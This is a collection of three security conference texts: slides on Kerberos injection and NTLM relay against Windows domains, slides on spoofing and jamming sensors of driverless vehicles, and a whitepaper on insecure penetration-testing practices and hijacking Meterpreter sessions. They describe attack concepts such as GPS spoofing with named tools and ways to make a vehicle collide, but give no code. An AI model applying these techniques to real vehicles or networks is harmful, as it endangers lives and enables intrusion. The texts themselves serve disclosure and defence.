Attack Scenario • A service that: • Uses Kerberos (the usual case…) • Ingests data from DC without certificate/netlogon validation (the usual case…) • Does not have a fixed DC configured (the usual case…) • MITM between the server and the DNS • The attack: • Use MITM to redirect to the Rogue DC • Client requests ticket to rogue server (SPN needs to be registered!) • Modify responses to the ingested data Kerberos Injection – How to Mitigate? • Authenticate DC • Establish a NETLOGON channel • Use LDAPS with certificate validation • Use Kerberos Armoring (we have not tested this…) • Windows GPO is still safe… DEMO Responsible Disclosure • IRemoteWinSpool NTLM Relay • Microsoft fixed issue under CVE-2021-1678 • Regarding other vulnerable interfaces: “Regarding other DCE/RPC interfaces for potential exploitation, If youl find other exploitable DCE/RPC interfaces, please submit these separately. Doing so will allow us to investigate each one individually.” • Azure AD • MS Acknowledged the issue and replied: “Thank you for reaching out. MitM requirement requires another vulnerability to be exploited to achieve a successful MitM, or a compromised connection, or some level of privileges. We also strongly recommend to treat AD Connect server as a domain controller, following hardened security practices” • Channel Bindings • MS Acknowledged the issue and replied: : “Microsoft has decided that it will not be fixing this vulnerability in the current version and we are closing this case.” • Kerberos Injection • A few vendors are working on fixing their Kerberos clients – expect updates soon Closing Remarks • MITM is not a security boundary (at least for Microsoft) • More Technically: • Securing Protocols from MITM is hard • Kerberos is not validating DC identity properly • GSS-API does not guarentee protection from MITM Tips for Defenders • Network Hardening • Enable server/client signing • Regularily patch software • Treat critical servers (e.g., AAD Connect) the same as DC • Kerberos Injection • Monitor suspiciously registered SPNs • Microsoft Recommendation: Avoid being MITM’d… :P
pdf
Hacking Driverless Vehicles Zoz Origins Germany 1986 Ernst Dickmanns, VaMoRs 1995: Munich to Copenhagen in regular traffc, up to 175kph, vision only! Asia • Singapore: Autonomous bus services scheduled by 2022 • Shanghai: Autonomous bus testing • Guangzhou: Public road testing since 2018 • Beijing: Baidu testing on 105km of suburban roads • Baidu-Volvo partnership: Level 4 autonomy taxis by 2021 • Advantages: • Energy effciency • Time effciency • New applications The Revolution Is Coming Civil Applications Transportation Filmmaking Oceanography Mapping Logistics Powerline Inspection Civil Applications • Unmanned cargo shipping • 75% of maritime accidents caused by human error • Major technical challenge: dealing with hardware failure on long voyages Civil Applications • Kongsberg Yara Birkeland • Zero emissions, autonomous capable • Replaces 40,000 annual truck trips • 2020: Manned operation & testing • 2021: Downcrewing • 2022: Fully autonomous operation Civil Applications • Priorities: • Precision Agriculture • Self-Driving Cars • Roadblocks: • Shared Infrastructure (Airspace, Roads) • Acceptance (Safety, Robustness) • Let’s Talk Failure! Classic Failures Sandstorm DARPA Grand Challenge 2004 • Deciding what the robot “knows” is a constant battle • Correct state estimation is key to decision making • Successful exploits will most likely subvert state estimation Classic Failures Fatal Tesla Autopilot Accident US-101, March 2018 • Dynamic cruise control + autosteer lane following • 120 kph impact with previously damaged crash attenuator • Vehicle selected poor lane markings over lead vehicle • Fragile decision making & edge cases abound Autonomous Vehicle Logic Structures Activity Hierarchy Control Loops, Stability Maintenance Collision Avoidance Navigation & Localization Mission Task Planners/Reasoners • Attacks lower in the stack defeat everything above • More engineering effort spent on guaranteed robustness at lower levels • Lower layers may be juicier but harder targets Autonomous Vehicle Logic Structures Examples Control Loops, Stability Maintenance Collision Avoidance Navigation & Localization Mission Task Planners/Reasoners • Extremely vulnerable to collision • High level logic depends on single sensor Lifesaving Drone Pizza Delivery Autopilot PID loops tuned for environmental conditions None! GPS waypoint circuit Dynamic “bombing run” planner, impact point estimator Control Loops, Stability Maintenance Collision Avoidance Navigation & Localization Mission Task Planners/Reasoners Balancing, weight shifting Dynamic obstacle discrimination & avoidance Route planning from SLAM- generated sensor map Dispense pizza to credit card • Vulnerable to redirection, trapping and map-confusion attacks Sensors • Active vs Passive • Common sensors: • GPS • LIDAR • Cameras • Millimeter Wave Radar • Ultrasonic Transducers • Digital Compass • IMU • Wheel Encoders • Doppler Velocity Logger (subsurface) • Scanning SONAR (subsurface) • Pressure Transducers (air & subsurface) Sensors • Sources of uncertainty: • Noise • Drift • Latency & update rate • Uncertainty must be modeled under assumptions • Sensor fusion: • Fused/registered data can be more useful than separate • What to do when sensors disagree? • Robot robustness may come down to: • How smart is it at discounting 1 bad/spoofed sensor? Sensor Attacks • 2 kinds: • Denial • Preventing sensor from recovering useful data • Spoofng • Causing sensor to retrieve specifcally incorrect data • Basic attack mode choice: • Attack sensors instantaneously • Attack aggregated sensor data GPS • Denial: • Jamming • Spoofng: • Fake GPS satellite signals at higher power GPS UT Austin Radionavigation Laboratory GPS UT Austin Radionavigation Laboratory GPS • Low Cost GPS Simulator Using BladeRF SDR • Qihoo360 Unicorn Team Huang & Yang, DEF CON 23 GPS • HackRF One • 10 MHz TCXO low drift (±2.5ppm) oscillator • Daughterboard for oscillator • GPS ephemeris data (NASA) • gps-sdr-sim Demo Time UAV Takedown! LIDAR • Originally industrial monitoring sensors • Mechanically scanned operation • Primarily for collision avoidance & map building • Denial: • Active overpowering • Preventing return signal • Spoofng: • Manipulating absorbence/refectivity • Active spoofng LIDAR • 2D sensor highly orientation dependent • Inclines can look like obstacles • May miss low obstacles & discontinuities LIDAR • Active emission sensor • Can only see what returns a signal • No return = nothing there LIDAR • Absorbent things look like nothing • Also transparent LIDAR • Refective things can confuse laser • Faraway things brought near • Loss of return looks like ditch LIDAR • Refective things can confuse laser • Faraway things brought near • Loss of return looks like ditch Russian “Racal” GPS jammer Use of refective materials to thwart laser designators LIDAR • Refectance is also a feature • Road line detection • Can fake road markings invisibly to human LIDAR • Solid looking objects look solid ! LIDAR • Denial: strong source overpowers LIDAR in a certain area Shin, Kim, Kwon, Kim, KAIST, 2017 LIDAR • Spoofng: weaker sources cause false returns • Can exploit curved glass refraction to alter location of false returns • Depends on source strength Shin, Kim, Kwon, Kim, KAIST, 2017 WEAK STRONG LIDAR • Spoofng: Relay attack • Timing is critical for placement of fake returns Shin, Kim, Kwon, Kim, KAIST, 2017 Tesla Autopilot Cameras • Specialized object detection (including signs and lane markings) • Sometimes stereo for (noisy!) depth map • Colorizing LIDAR • Denial: • Easily dazzled • Spoofng: • Camoufage techniques • Color assumptions • Repeating patterns Cameras • Spoofng deep learning recognition models • Crafted adversarial examples • So far generally white box techniques • Do not currently work reliably in face of parametric distortions Eykholt et al., 2018 Fischer et al., 2017 Athalye et al., 2018 Cameras • Fragile discriminators • Lane markings successfully blurred in real world • Small fake markers cause lane adjustment Tencent Keen Lab, 2019 MMW RADAR • Collision avoidance • Lower resolution than laser • Most things very refective • Denial/spoofng: • Jamming • Chaff • Overhead signs MMW RADAR • Jamming: Contactless Sensor Attacks • Liu, Yan, Xu, DEF CON 24 • Spoofng & relay attacks theorized but not performed Oscilloscope Signal Analyzer Signal Generator Harmonic Mixer Frequency Multiplier IMU & Compass • Primary navigation sensor for some systems • High fdelity models available • Typical cumulative error: 0.1% of distance traveled • Denial/spoofng: • Extremely diffcult to interfere with • Physical attacks with magnetic felds, thermal drift IMU Acoustic Attacks • MEMS gyroscope vibrates & has resonant frequency • Can be perturbed with external acoustic source • Similar to well-known attacks on spinning hard disks • Successfully POC’d by crashing fying multirotor UAV Son et al., KAIST, 2015 Wheel Odometry • Encoders • Useful to know true speed & when stopped • Attacks: • Change wheel diameter • Slippery surface • Removal may cause unpredictable behavior or stoppage Ultrasonic Sensors • Automated parking sensor • Only used at low speed • Attacks: • Jamming • Spoofng • Cancellation Contactless Sensor Attacks (Liu, Yan, Xu, DEF CON 24) Bond vs Robots • GPS Jammer • Smoke/Dust/Vapor • Lightweight decoy obstacles • Chaff • Glass caltrops • Oil slick Bond vs Robots • Active LIDAR Jammer/Spoofer • Active Radar Jammer • Acoustic Blaster • Lane Marker & Adversarial Turtle Dispenser The Map • Great emphasis on preacquired map data • Often considered to be reference ground truth • Reduces recognition load • Traffc lights • Vegetation • Other speed control & traffc management features The Map • Traffc lights • Camera knows where to look • Difference in robot vs human assumptions The Map • Vegetation • Colorized LIDAR • Transmission classifer • Overhanging foliage • Map dependence may exacerbate brittleness of discrimination rules The Map • Map requires constant updates • Local map: • Vulnerable to unexpected real world features • Remote map: • Vulnerable to denial (4G jamming) • Vulnerable to spoofng (MITM attack, standard cellular intercept techniques) Peter Stone, UT Austin Exploiting the Logic Structure • Goal: Maximize uncertainty • Requiring manual assistance • Confusing/annoying occupants • Inconveniencing other road users • Concentrate on fragile maneuvers • Attacker has access to map too Trapping/Redirecting • Attacks at collision avoidance & navigation layers • Force robot to postpone high level tasks • Moving obstacles • Obstacle swarms • Artifcial stop signs • Human driver wouldn’t notice, robot can’t ignore Clobbering • Goal: make robot run into something • Subvert collision avoidance • Incapacitate vehicle • Damage/remove sensors • Subtle map deviations • Imitate light vegetation • Simulate obstacles at speed • Disguise entrance walls with refective/absorbent material within GPS noise • Dynamic obstacles under overhead signs Would you buy a self-driving car that couldn’t drive itself in 99 percent of the country? Or that knew nearly nothing about parking, couldn’t be taken out in snow or heavy rain, and would drive straight over a gaping pothole? If your answer is yes, then check out the Google Self-Driving Car, model year 2014. — MIT Technology Review, August 2014 V2V V2V Components • Just warnings for now! V2V Components • Both on-board and roadside communicators • DSRC: Omnidirectional, 300m range, 200-500 bytes • Basic Safety Message (BSM) protocol • Not encrypted • PKI authenticated (signed via certifcates) V2V Transmissions • Part I: Core • Part II: Appended when changed, vehicle-specifc • Note unencrypted GPS • Spoofng feedback? V2V Security V2V Bottom Lines • Careful rollout: 11 year development • Slow & steady rollout: 37 years to full feet • Tracking/Privacy more immediate concern than other malicious attacks • Standard PKI concerns, many yet TBD • No direct control imminent (robots might get there frst) Traffc Sensor Flaws • V2V/V2I aims to avoid mistakes of current traffc sensors • Hacking US Traffc Control Systems, Cesar Cerrudo @IOActive, DEF CON 22 • No encryption/authentication, wireless transmission in cleartext • Firmware updates neither encrypted nor signed • No doubt will make others! Consequences Vivek et al., 2019 Remember... Driverless vehicles are cool! Don’t do any of these things! Don’t hassle the Hoff! Don’t hax0r the Bots! The Future Of Vehicular Romance Can Be...
pdf
HORNECYBER.COM SECURE PENETRATION TESTING OPERATIONS: DEMONSTRATED WEAKNESSES IN LEARNING MATERIAL AND TOOLS PRE-PUBLICATION VERSION FOR CONFERENCE RELEASE | FOR THE FINAL REPORT, INCLUDING CODE AND DETAILED DESCRIPTION OF THE DEMONSTRATED TOOL, VISIT HORNECYBER.COM ABSTRACT Following previous presentations on the dangers penetration testers face in using current off-the-shelf tools and practices (Pwn the Pwn Plug and I Hunt Penetration Testers), this paper and presentation explores how widely available learning materials used to train penetration testers lead to inadequate protection of client data and penetration testing operations. Widely available books and other training resources target the smallest set of prerequisites, in order to attract the largest audience. Many penetration testers adopt the techniques used in simplified examples to real world engagements, where the network environment can be much more dangerous. Malicious threat actors are incentivized to attack and compromise penetration testers, and given current practices, can do so easily and with dramatic impact. The accompanying presentation to this paper includes a live demonstration of techniques for hijacking a penetration tester’s normal practices, as well as guidance for examining and securing penetration testing procedures. The tool shown in this demonstration will be released publicly (with code) along with the first presentation of this talk. INTRODUCTION This paper is a companion piece to the talk of the same title. In both this paper and the correlating talk, previous work is presented, followed by a review of the threats to penetration testers. A study was performed on a large body of penetration testing learning materials, illustrating the lack of secure practices being taught— practices that have been observed to be repeated on real engagements. WESLEY MCGREW, PH.D. DIRECTOR OF CYBER OPERATIONS, HORNE CYBER WESLEY.MCGREW@HORNECYBER.COM @MCGREWSECURITY HORNECYBER.COM PAGE 2 Recommendations are made for improving secure processes. Finally, a tool is presented that illustrates the threat that penetration testers face. This is demonstrated live in the corresponding talk, showing how penetration testers’ post- exploitation activities can be easily hijacked by attackers. PREVIOUS WORK Vulnerabilities in penetration testing tools, techniques, and devices have been explored in two prior talks by the author: • DEF CON 21 – Pwn The Pwn Plug: Analyzing and Counter-Attacking Attacker-Implanted Devices[1] • DEF CON 23 – I Hunt Penetration Testers: More Weaknesses in Tools and Procedures[2] In Pwn the Pwn Plug, an off-the-shelf penetration testing device meant to be hidden and left behind within an organization was analyzed for vulnerabilities that would affect the security of operating it in this configuration. In the “left behind” scenario, the device is uniquely susceptible to tampering and monitoring by third-parties with physical access to the same locations. It was established and demonstrated in this talk that the vulnerabilities were not simply limited to physical access: third party attackers could remotely execute commands on the device through a combination of vulnerabilities in the penetration tester’s user interface to the device. In this, the first talk on the subject, the work was presented both in terms of targeting penetration testers, as well as in the context of incident response: performing forensics on malicious threat actors’ implanted devices. In the next talk, I Hunt Penetration Testers, focus was placed on the security of penetration testers that use software and hardware tools on remote and in-person engagements. In this talk, a set of common security tools were examined to determine the inherent safety of their default configurations and options. It was determined that many penetration testing tools lack, at least by default, the capability to secure command-and-control information and sensitive client data both in transit and at rest. Scenarios were described that illustrate why a malicious threat actor would find a penetration testing firm to be an attractive target. Finally, a vulnerability was demonstrated that allows attackers within range of the popular WiFi Pineapple device the ability to remotely gain control of it. This illustrated the risks of operating in hostile network environments with devices that have not been hardened. This talk, Secure Penetration Testing Operations: Demonstrated Weaknesses in Learning Material and Tools, builds upon the previous work by exploring the root causes of insecure practices in penetration testing, practical demonstration of more vulnerabilities in common procedures, and recommendations for more secure practices for engagements. It is worth mentioning that the closer examination of post-exploitation payloads undertaken as part of the work for this talk reveals that the dangers posed by current practices in the use of these payloads/agents is far worse than was described previously in I Hunt Penetration Testers. THE THREAT Previous presentations on this topic have established a description of the threat model for malicious third party actors targeting penetration testers. While the purpose of this talk is not to retread ground, it is worth briefly revisiting some of the major points for the purposes of defining the scope and motivation behind this paper. In I Hunt Penetration Testers, it was proposed that penetration testing professionals and firms represent attractive targets due to their level of access to client organizations and their position outside of the rules of normal HORNECYBER.COM PAGE 3 business operation. Penetration testers are expected to break rules, elevate privileges, and perform exfiltration of sensitive data. For these reasons, a penetration test can serve as an opportunity both for cover and for the opportunity to discover vulnerabilities “over the shoulder” of a penetration tester. Penetration testers, apart from their clients, might be the target of compromise as well. More advanced testers might be in possession of tools and exploits that are not publicly available and would represent a value to the attacker. As security professionals, a compromise of a penetration tester also represents an embarrassing situation if made public by a hacktivist or other malicious party. While the focus of earlier talks on this topic were on compromising penetration tester tools themselves, the demonstration in this talk, and the questions examined about learning material are focused on weaknesses in procedures opening up access to client systems and data. WE OPERATE AS WE LEARN – A SURVEY OF PRACTICES IN PUBLICLY AVAILABLE RESOURCES While some standards documents exist for penetration testing [3,8,9,10], most circumstances and requirements for penetration testing do not currently require rigorous adherence to formal standards. Existing documents of this nature generally describe phases of a penetration test, but stop short of providing hard requirements for all tests. In this way, these documents largely constitute “guidance” (as described in the PCI supplement on penetration testing [10]) more than serving as standards to be met. This is appropriate in some ways, as the value in a penetration test is only realized when an experienced and talented team is able to use human ingenuity to find vulnerabilities in complex systems where an automated scan simply would not provide value. Current guidance/standards allows for the flexibility needed to do this. The mind’s capability to intuit the intended and unintended operation of software written by other humans, recognize patterns in complex data, and apply complex ad-hoc processes to solve problems (i.e. the location and exploitation of vulnerabilities) all contribute to a penetration testing team providing results that cannot be obtained using an automated vulnerability scanning tool. A formal standard for conducting tests would not be able to encompass the breadth and depth of potential activity, and would therefore be counterproductive. While the lack of a formal standard does not impair the technical value of penetration testing, it does result in a lack of rigor. Without defined expectations for protecting the security of client data and systems, to say nothing of the operations of the penetration testing individual of the firm, there is no control on the low bar for such protection. Without a standardized set of expectations, we fall back upon what is most convenient or expedient to implement. In this work’s examination of operational security issues in penetration testing in learning and reference materials, standards documents did address some, but not all issues of security in penetration testing. Out of the standards documents surveyed, the open source Penetration Testing Execution Standard addressed more issues of client and penetration test operational security than the rest, including the protection of client data in transit, client data at rest, operational security during the intelligence gathering phase, communications security for contact with client staff, and the security of client systems during and after the test. If we look to current and common practices in safely (or, not so safely) conducting penetration testing, it is reasonable to expect that most testers will conduct their tests in accordance to their background and training. There are no requirements for formal education to enter the profession, nor are there very many formal programs that extensively cover offensive security testing. Training programs in penetration testing (taught in a matter of days or weeks) HORNECYBER.COM PAGE 4 typically have few pre-requisites. While this paper will avoid bemoaning the minimal depth or breadth of background knowledge required or gained by most new penetration testers, it is safe to say: for many, their tools and techniques will be defined by the learning material they have used without much improvisation or improvement. If we consider that most penetration testers will tend to operate in a way that is consistent with the material they learned from (and continue to reference), then we can draw conclusions on the security of common penetration testing techniques by examining that material. For this paper and talk, a selection of popular books and training material on penetration testing was examined with the goal of applying a set of feature-extracting questions. These questions are designed to determine the presence and nature of operational security advice for penetration testers that is contained within material used to learn the profession. The questions are as follows: 1. [Host Security – Penetration Tester] Does the work address precautions for preventing penetration testers’ systems from being compromised? Describing how to set the Kali/Backtrack password is not, by itself, sufficient for this to be a “yes”. 2. [Host Security – Client] Does the work address precautions for maintaining the security of client systems during the test? Penetration testing procedures should not leave the tested systems in a more insecure state then they were in when the test began. 3. [COMSEC] Does the work address establishing secure means of communicating with the client about the engagement? This would include emergency contact and report delivery, as well as any other email or teleconferencing. 4. [Client Data in Transit] Does the work address issues surrounding the transmission of sensitive client data between targets and penetration testers’ systems in the course of the engagement? This would include data that is being extracted for proof of impact, as well as information about the hosts that would be transmitted across command- and-control channels. 5. [Client Data at Rest] Does the work discuss procedures for securing client data at rest, during and/or after the engagement? This includes data that has been extracted from targets and stored on penetration testers’ workstations and penetration testing devices. Procedures might include encryption, hardening, and/or secure deletion. 6. [OSINT OPSEC] Does the work address operational security during intelligence gathering phases? This would address confidentiality of the information one might be transmitting about the client in the course of seeking information about the client from publicly available sources. 7. [Potential Threats] Does the work address issues with conducting tests against systems over hostile networks, such as the public Internet or unencrypted wireless? 8. [Insecure Practices] Does the work demonstrate or teach at least one example of an insecure practice without describing how it might leave the tester or client vulnerable? OBSERVATIONS FROM EXAMINING LEARNING MATERIAL This section discusses the results of examining a set of material with the goal of answering the above questions. This set of material included 16 books, four standards/guidance documents, and the publicly-available material for three classes. The stated goal, of all of these works, is to serve as learning or training material for penetration testing. All of the materials used for this study are publicly available outside the context of a paid training HORNECYBER.COM PAGE 5 class. Paid training classes’ material were not studied as a part of this work due to usage agreements and a lack of easy access (at a reasonable cost) to recent materials for the purposes of this study. This is not seen as a significant loss, however, as it is in the author’s experience that such classes do not differ greatly from publicly published material with regards to this study. This paper does not disclose the titles, authors, or sources of the works examined, as the point of this study is to demonstrate an across-the-board lack of focus on the security of penetration testing procedures in works that many new testers are using to build their skill set, rather than to describe the deficiencies or virtues of one set of material over another. While moving forward, it is important for new material to incorporate secure practices and describe the due care needed in testing, it might be unfair to point out specific works as being “bad” when there was no widespread education/ understanding of the risks at the time the content was created. METHODOLOGY The methodology used for this study was to examine how each work addresses the eight questions posed. Standards/ Guidance documents were chosen through internet searches and references to penetration testing standards documents identified and used in other recent work on this topic. Class material was gathered from publicly available materials not encumbered by usage agreements. Books were gathered based on popularity in Amazon searches for penetration testing books. A brief examination of each studied work was made to verify that it directly stated its purpose as being a learning resource for penetration testers. In the results, no distinguishing markings are made for the different types of material (standards/guidance, classes, books), as each, for the purposes of this study, serves the same role as learning materials that penetration testers will implement in practice. Reading and analyzing every sentence on every page of every targeted work in the context of the eight questions would make the duration of the study prohibitively long. Therefore, the examination of each work was performed in two phases. The first phase took the approach of examining the table of contents to determine sections that seemed likely to contain information that would provide a positive answer to each question, and then examining those sections for the information is being sought. After this initial phase, to more exhaustively test the remaining questions, each page of the work was briefly examined (in most cases on the order of a few seconds) to seek out text relevant to the security of penetration testing procedures. With the author of this paper’s experience in quickly consuming written works, and the ease at which relevant coverage should be identified, this approach, while subjective, should be considered fair. The potential for false negative results should be considered with the justification that coverage of secure penetration testing practices should have been easily located, if that coverage was meant to be effective. For simplicity in illustrating the point of this paper, a simple “yes” or “no” was recorded for each studied work and each question. The threshold for “yes” was intentionally very low. For example, a single paragraph in a book of over five hundred pages on the topic of encrypting a report for transmitting to a client would be sufficient for a “yes”. While this may exhibit positive results for studied works that do not provide an extensive coverage of these topics, it causes the results of the study as a whole to more effectively demonstrate the negative case: that a large amount of resources available to learn penetration testing techniques do not have any coverage at all of these concerns. HORNECYBER.COM PAGE 6 This chart represents the results of applying the study methodology to the resources selected. For questions 1 through 7, “Y” indicates that the topic was addressed in the work (and is colored green as a positive result), “N” indicates that it was not (colored red as a negative result). For question 8, “Y” indicates that vulnerable practices were taught without disclaimer, and those cells are colored in red, opposite to the rest of the columns (as the “Y” response is negative in this context). For question 8, “N” indicates that no vulnerable practices were taught. If the “N” for question 8 is colored yellow, the resource did not cover any technical matters of penetration testing and focused only on procedural issues. RESOURCE 1 - HOST - PENETRATION TESTERT SECURITY 2 - HOST SECURITY - CLIENT 3 - COMSEC 4 - CLIENT DATA - IN TRANSIT 5 - CLIENT DATA - AT REST 6 - OSINT OPSEC 7 - POTENTIAL THREATS 8 - INSECURE PRACTIICES 1 Y N N N Y N N N 2 N N N N N N N Y 3 N N N N N N N Y 4 N N N N N N N Y 5 Y Y Y Y Y Y Y N 6 N N N Y Y N N Y 7 N N N N N N N Y 8 N N N N N N N Y 9 N Y N N Y N N Y 10 N N N N N N N Y 11 N N N N N N N Y 12 N N N N N N N Y 13 N Y Y Y Y Y N N 14 N N N N N N N Y 15 N N N N N N N Y 16 N N N N N N N Y 17 N N N N N N N Y 18 N N Y Y N N N Y 19 N Y N Y Y N N Y 20 N N N N Y N N Y 21 N N N N N N N Y 22 N N N N N N N Y 23 Y N N Y Y N N Y HORNECYBER.COM PAGE 7 ANALYSIS As a whole, it is straightforward to look at the chart and come to the conclusion that concerns about the security of penetration testing operations are not a well-covered part of most available learning resources. Out of 23 works studied, 14 works did not address any of the basic issues put forward in the questions. Only four works addressed more than two. Almost every single work in the study describes practices that, if conducted across the public Internet or other hostile network, could result in the disclosure of client information, systems, or the penetration tester’s system to malicious third parties. By simple “yes”/”no” results, three works did not describe weak practices. The one color coded in green followed descriptions of potentially dangerous actions with a warning about performing those actions across unencrypted networks. Of the two that are color coded in yellow, one did not cover technical practices, only focusing on procedure. The other did not discuss insecure practices by virtue of being fraudulent: a self-published Kindle book that consisted only of material on terminology that appeared to be from various online sources, with no instruction whatsoever on technical or operational matters of penetration testing. The most common insecure practice described was the usage of post-exploitation payloads (especially those built into Metasploit, since it is so popular) that allow for third-party monitoring and hijacking. The Metasploit project contributors are aware of (and have discussed publicly) the potential for these kinds of attacks, and have developed new functionality for the Meterpreter payload to secure its command-and-control [7]. With “paranoid mode” Meterpreter functionality only being added within the past year, it was not unexpected to see many works describe insecure practices for command- and-control of client systems. It is, however, not impossible and would have been desirable to have seen discussion of the risks, along with guidance for conducting tests locally, over VPNs, or other secure tunnels. The demonstration in the companion talk to this paper demonstrates hijacking post-exploitation command-and-control. Beyond what was expected, a number of books described practices that represent an even clearer danger to the security of communications and client systems than was expected. Anecdotally, the following notably insecure practices were described in the context of penetration testing: • The use of online hash cracking services • The use of plaintext FTP services opened up on penetration testers’ systems for transferring payloads and the exfiltration of client data • Persistent netcat listeners running on client systems, backed by shells, without authentication, and left open for later access by penetration testers • The use of unencrypted web shell backdoors to maintain access to target systems • Plaintext command-and-control between penetration testers’ workstations and devices left behind in the target’s physical/network space • The use of Tor and/or public proxy lists found through search engines to find proxies through which attacks could be anonymized. • Enabling a Windows telnet daemon for continued access to a system A single resource addressed all of the questions, and did not present any technically insecure practices without also having some description of the risks inherent to those practices. While for the overall purpose of this study, the titles and authors of the works are not disclosed, in this specific case it is worth pointing out that Professional Penetration Testing, Second Edition, by Thomas Wilhelm [12] is the work that managed to address each point (row 5 in the chart). While this is not a book review, and the work was not read thoroughly for its overall quality, it is commendable that there is at least some mention of the potential problems that penetration testers face with security. CONDUCTING SECURE PROFESSIONAL PENETRATION TESTS Practices can be adopted to minimize the risk that penetration testers face with regards to the security of their own operations, as well as the operations, communications, and data security of their clients. The following recommendations relate to the questions posed in this paper’s study and are described such that, with an expected degree of effort, they can be integrated into the workflow of a professional penetration testing firm. CLIENT COMMUNICATIONS SECURITY IN SCOPING, PROGRESS UPDATES, EMERGENCY, AND DELIVERY Initial meetings to discuss and scope upcoming penetration tests should establish secure means by which clients and testers can communicate. If both parties already have the capability, end-to-end encrypted email would be recommended. If the capability does not already exist with the client, a secure HTTPS file sharing solution hosted by the penetration tester could be used by both parties to transfer sensitive network information for scoping, as well as reports later on. For emergency contact, mechanisms that are out-of-band from the client network are necessary, such as a mobile phone, though when possible and as time and circumstances allow, sensitive data should be exchanged through more secure means. OPEN SOURCE INTELLIGENCE GATHERING OPERATIONAL SECURITY During open source intelligence gathering efforts, careful consideration should be given to the set of search terms being used, and where they are being submitted. While company names and other non-sensitive information can serve as appropriate search terms, testers should be careful as they branch out using information they’ve derived from a combination of sources. Note that search terms typically passed along to sites as part of the referral URLs provided by the web browser. Take measures to prevent the nature of your search from being apparent to the sites that you visit. If the identity of the penetration testing firm can be deduced from the IP address performing OSINT, information that ties that firm to a current engagement with a client can leak out, as well. Carefully consider what actions are taken over TOR or other proxy systems. Do not search for or view information over such systems that you would not want the unknown operator of an exit node or proxy to also view. In most cases, it should be understood by the target organization that you will be conducting operations using your own resources, so it may not be necessary (or appropriate) for you to proxy activities over third party connections. POTENTIAL THREATS, CLIENT DATA IN TRANSIT, AND INSECURE PRACTICES All members of the penetration testing team need to be aware of the network environment in which they are operating. In tests that are conducted across the Internet, unencrypted wireless, or other transports that are not under penetration tester or client control, those networks must be assumed to have malicious threat actors participating in them. The penetration tester and the target do not exist in a vacuum. HORNECYBER.COM HORNECYBER.COM PAGE 9 When tests occur over these uncontrolled networks, care must be taken to ensure that when command-and-control is established, that it cannot be monitored or hijacked. If client data is the target for exfiltration, that data must be transferred over a secure channel. If tools that are naturally insecure (as described in I Hunt Penetration Testers) are used, all attempts should be made to tunnel that tool over a more secure protocol. This solution is not perfect, in that a third party might identify the initial vulnerability by which a tester compromised a system. In some cases, this may be unavoidable when the end goal is to identify all of the vulnerabilities an attacker might be able to exploit. It is recommended, however, that when circumstances allow, the test should be conducted from a position on the network that is as close as possible to the client being tested. Performing a test on-site is one option, though a similar result can be obtained by using an appliance designed to “phone home” securely back to the penetration testers, allowing them to conduct their test over a VPN connection to appropriate points just outside of (or within) the client network. PENETRATION TESTER HOST SECURITY Penetration testers should be aware of the attack surface that their tools represent. Many penetration testing tools act as servers for agent software, exposing to a third party attacker an interface that they can interact with. Many tools are primarily developed as proof-of-concepts for vulnerabilities, and have not been designed with the goal of providing security, reliability, and resilience in operational use by penetration testers. Penetration testers should routinely examine their own systems, tools, and practices to determine what opportunities a third party would have to subvert them. CLIENT HOST SECURITY Penetration testers should take great care in not creating more vulnerabilities in target systems than already exist. The necessity of persistence mechanisms should be determined as a balance between the need to maintain access to systems balanced against the stability of re-exploiting certain vulnerabilities. While memory corruption attacks have the potential to crash a system when exploited many times in succession, most web-based vulnerabilities are much more reliable. While it should be needless to say that access and persistence mechanisms should only be accessible by the penetration tester, and not third parties that happen to find them, it is clear from this paper’s study that it does need to be stated. CLIENT DATA AT REST After exfiltration, data gathered from clients should be stored on penetration testers’ systems in a controlled way. In addition to the controls recommended for securing penetration testing workstations, devices that are outside the physical control of testers should not be used to store client information for any longer than is necessary. Such devices can be physically compromised, or become the targets of remote compromise (as disclosed in the two previous talks on this subject). After an engagement, it is recommended that only a minimum amount of information about the client should be kept long- term. This is something that must be discussed with a client prior to an engagement to set appropriate expectations. There will certainly be something left, if only agreement documents proving the test actually occurred, alongside the report. More may be stored if there if engagements are meant to be on-going or recurring periodically. Any remaining data should be protected with encryption and access controls, and anything that is to be discarded should be wiped securely. DEMONSTRATING ATTACKS ON PENETRATION TESTERS This section describes a tool that part of the live demonstration of the talk that corresponds to this paper. The attack that is demonstrated by this tool illustrates threats to penetration testing operations that, while known to be technically feasible, HORNECYBER.COM PAGE 10 are not normally considered during an engagement. While one should not feel ashamed to find enjoyment in seeing or presenting something being hacked on stage, these demonstrations and tools serve the additional goal of raising awareness and, hopefully, forcing the issue of increased rigor in penetration testing learning material, operations, and client expectations. TO DOWNLOAD THIS TOOL AND THE LATEST COPY OF THIS WHITEPAPER WITH MORE DETAIL ON ITS USE, VISIT HORNECYBER.COM. Snagterpreter – Hijacking HTTP and HTTPS Meterpreter Sessions Metasploit is the most featured and mature free platform for the development of exploits as well as operationally conducting a wide variety of penetration testing activities [4]. The most fully featured post-exploitation payload for Metasploit is the Meterpreter agent, which provides many more features than the typical reverse shell payload used by traditional stand-alone exploits. Meterpreter has features that provide resilience for the connection between the penetration tester and their target, evasion of both host and network based detection, and a rich set of post-exploitation and exfiltration capabilities [5]. Given their capabilities, stability, and ease of use, the combination of Metasploit and the Meterpreter payload are a ubiquitous part of most testers’ training, no matter how brief. Meterpreter sessions frequently take place across hostile networks, including the public Internet. Such sessions are valuable to a third party attacker that would seek to seize control of the same systems that have been compromised by the penetration tester. Such sessions might be the result of more than direct exploitation of external-facing systems, in the case of post-exploitation pivoting or social engineering, and therefore represent more than just an extension of existing and accessible vulnerability that a third party could exploit in parallel to the tester’s activities. For these reasons, Meterpreter sessions must be considered as part of the attack surface that a malicious threat actor “shadowing” a penetration tester would seek to compromise. Meterpreter sessions operate using a Type-Length-Value (TLV) protocol for issuing commands and responses, and can operate over a variety of transport mechanisms. The most common means configured for a Meterpreter agent to communicate to a penetration tester’s system are direct reverse TCP sessions (using a TCP socket directly), HTTP, and HTTPS. While the “reverse TCP” transport is commonly presented in learning material that predates (or is sourced from material that predates) the addition of HTTP/HTTPS transports to Meterpreter in 2011, the use of HTTP/HTTPS is considered to be generally more desirable for reasons of being more resilient (requests can be broken up among separate stateless HTTP requests) and stealthy (such traffic blends well with “normal” traffic in an organization) [6]. While most common configurations of the Meterpreter agent support obfuscation and encryption of traffic, it is (in these configurations) for the purpose of evading detection, rather than to protect the session from monitoring or hijacking. In this context, exclusive-or obfuscation of traffic is used, as well as SSL sessions that do not require the presence of trusted certificates. The Metasploit developers are well-aware of the security issues (even if the end users are not necessarily as cognizant), demonstrated by a recent change, as of June 2015. 